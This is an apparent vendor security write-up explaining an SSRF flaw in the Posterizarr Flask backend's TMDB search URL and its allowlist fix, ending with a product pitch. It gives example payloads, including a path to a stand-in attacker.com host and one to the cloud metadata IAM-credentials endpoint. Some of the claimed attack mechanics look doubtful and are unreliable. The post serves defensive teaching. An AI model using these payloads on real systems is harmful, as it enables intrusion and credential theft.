How Server-Side Request Forgery (SSRF) Happens in Python Flask and How to Fix It
Introduction
In the Posterizarr project's webui/backend/main.py, a high-severity SSRF vulnerability was discovered at line 6597. The application's search functionality constructs a URL to query The Movie Database (TMDB) API, but it directly interpolates request.media_type — a user-controlled value — into the URL path without any validation. This means an attacker could craft a malicious media_type value to redirect the server's outbound HTTP request to an arbitrary destination, potentially accessing internal services, cloud metadata endpoints, or other sensitive resources behind the network perimeter.
This is particularly dangerous because the application is containerized and publicly accessible, meaning an attacker on the internet could leverage this endpoint to probe the internal network infrastructure that the container has access to.
The Vulnerability Explained
The vulnerable code constructed a TMDB API search URL by directly embedding user input:
search_url = f"https://api.themoviedb.org/3/search/{request.media_type}"
search_params = {"query": request.query, "page": 1}
At first glance, this looks harmless — the URL appears to always point to api.themoviedb.org. However, request.media_type is controlled by the user. An attacker could supply a crafted value like:
../../../../../../attacker.com/steal?data=
Or more critically, they could use path traversal or URL manipulation techniques to redirect the request entirely. Depending on the HTTP library's URL parsing behavior, a media_type value like:
movie/../../../..%00@internal-service:8080/admin
could cause the server to make requests to internal services that should never be accessible from the public internet.
Real-World Attack Scenario
Consider this attack flow against the Posterizarr web UI:
- An attacker sends a search request with
media_typeset to a crafted value targeting the cloud metadata service:../../../169.254.169.254/latest/meta-data/iam/security-credentials/ - The server constructs the URL and makes the request on behalf of the attacker
- If the response is forwarded back to the user, the attacker receives AWS IAM credentials or other cloud metadata
- Even if the response isn't forwarded, the attacker can use timing-based techniques to map internal network topology
Since this is a containerized service, the container's network namespace likely has access to other internal services (databases, caches, admin panels) that are not exposed to the public internet.
The Fix
The fix introduces a strict allowlist that maps acceptable media_type values to their safe counterparts:
Before (vulnerable):
search_url = f"https://api.themoviedb.org/3/search/{request.media_type}"
search_params = {"query": request.query, "page": 1}
After (fixed):
allowed_media_types = {"movie": "movie", "tv": "tv"}
if request.media_type not in allowed_media_types:
raise ValueError(f"Invalid media_type: {request.media_type}")
safe_media_type = allowed_media_types[request.media_type]
search_url = f"https://api.themoviedb.org/3/search/{safe_media_type}"
search_params = {"query": request.query, "page": 1}
This fix works on multiple levels:
- Explicit allowlist: Only
"movie"and"tv"are accepted — any other value raises aValueErrorimmediately - Indirect reference map: Even if an attacker somehow bypasses the
not incheck, the value used in the URL comes from the dictionary's values, not from user input - Fail-closed design: Unknown values result in an exception rather than a potentially dangerous request
The dictionary-based approach is particularly elegant because it creates an indirection layer. The URL is constructed using allowed_media_types[request.media_type] (the dictionary value), not request.media_type itself. This means even if a future code change accidentally weakens the validation check, the actual URL will still only contain the pre-defined safe strings.
Prevention & Best Practices
1. Always Use Allowlists for URL Components
When user input contributes to URL construction, validate against an explicit set of allowed values. Never rely on blocklists or sanitization alone — attackers are creative.
2. Separate User Input from URL Construction
Use indirect references (like the dictionary pattern in this fix) so that user input is never directly embedded in URLs, even after validation.
3. Implement Network-Level Controls
For containerized applications:
- Block outbound requests to RFC 1918 addresses and link-local ranges (169.254.x.x)
- Use network policies to restrict which services the container can reach
- Consider using an HTTP proxy that enforces URL allowlists
4. Don't Forward Proxied Responses
If you must make server-side requests based on user input, never forward the raw response body back to the user. Extract only the specific fields you need.
5. Use Static Analysis in CI/CD
Tools like Semgrep can catch SSRF patterns automatically. The rule python.flask.security.injection.ssrf-requests.ssrf-requests specifically detects when Flask request data flows into HTTP client calls.
Key Takeaways
request.media_typeat line 6597 was the attack vector — a seemingly innocent path component that could redirect entire server-side requests- The TMDB API proxy pattern is common and commonly vulnerable — any time your server makes requests on behalf of users, SSRF risk exists
- Dictionary-based allowlists provide defense-in-depth — even if the validation check is bypassed, the URL only contains pre-approved strings from dictionary values
- Containerized services amplify SSRF impact — internal network access from a container can expose databases, admin panels, and cloud metadata endpoints
- A
ValueErrorexception is the correct failure mode — fail closed, don't attempt to "sanitize" the input and proceed
How Orbis AppSec Detected This
- Source: User-controlled
request.media_typefrom the incoming HTTP request object inwebui/backend/main.py - Sink: String interpolation into
search_urlat line 6597, which is subsequently passed to an HTTP client for a server-side request to the TMDB API - Missing control: No validation or allowlist check on
request.media_typebefore URL construction - CWE: CWE-918 (Server-Side Request Forgery)
- Fix: Added an allowlist dictionary restricting
media_typeto"movie"or"tv", raising aValueErrorfor any other value
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This SSRF vulnerability in Posterizarr's search functionality demonstrates how even well-intentioned API proxy code can become a security liability when user input flows unchecked into URL construction. The fix — a simple four-line allowlist — eliminates the attack surface entirely while preserving the application's functionality. When building any feature that makes server-side requests based on user input, always ask: "What's the complete set of valid values here?" If you can enumerate them, use an allowlist. Your future self (and your security team) will thank you.